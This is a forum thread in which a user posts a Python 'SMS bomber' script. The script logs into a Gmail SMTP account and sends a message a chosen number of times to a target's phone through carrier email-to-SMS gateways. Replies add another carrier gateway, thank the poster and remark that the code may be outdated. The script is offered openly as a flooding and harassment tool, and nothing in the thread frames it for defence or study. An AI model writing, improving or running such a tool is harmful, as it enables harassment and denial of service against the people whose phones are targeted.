Thread: [Python SMS bomber](#)

TSX - July 26, 2013, 10:50 pm

```
Code import smtplib
#Credits to crazy4cs tut. a tutorial I found on ubers.org by googling
mailserver = smtplib.SMTP('smtp.gmail.com')
mailserver.ehlo()
mailserver.starttls()
mailserver.ehlo()
```

```
username = raw_input('Email Address: ')
password = raw_input('Email Password: ')
number = raw_input("Phone Number: ")
carrier = raw_input('Phone Carrier: ')
texttosend = raw_input('Text to send: ')
timetosend = int(raw_input("Times to send: "))
```

```
if carrier == "att":
    sendto = number + '@text.att.net'
elif carrier == "verizon":
    sendto = number + '@vtext.com'
elif carrier == "tmobile":
    sendto = number + '@tmomail.net'
elif carrier == "sprint":
    sendto = number + '@messaging.sprintpcs.com'
elif carrier == "boost":
    sendto = number + '@myboostmobile.com'
else:
    print("Carrier not supported. Sorry!")
```

```
mailserver.login(username,password)
```

```
x = raw_input("Press enter to launch.")
```

```
for x in range(0,timetosend):
```

```
    mailserver.sendmail(username,sendto,texttosend)
    print("Sent.")
```

```
mailserver.close()
```

stopapp = raw_input("Application finished. Press enter to close.")Found a tutorial when I was trying to do it so I googled it. Credits in source. Is there any way I can put this code onto a website (.tk)?

Deeevez - September 1, 2017, 9:38 am

Yeah it just shows a black screen.

johnsolo - September 1, 2017, 5:31 pm

The email for Virgin Mobile carrier is @vmobl.com

DeLiiRiuM - September 1, 2017, 9:35 pm

cool tutorial, thanks a lot guy

(?°?°)?(???? - September 2, 2017, 1:15 pm

Guys this thread is literally 4 years old. Of course it doesn't work. Technology changes.

TSX - September 20, 2017, 6:17 pm

Can't believe this thread got dug up. I'll close it to prevent further LQ posts. I'm not sure if it works anymore or not I CBA to check it.
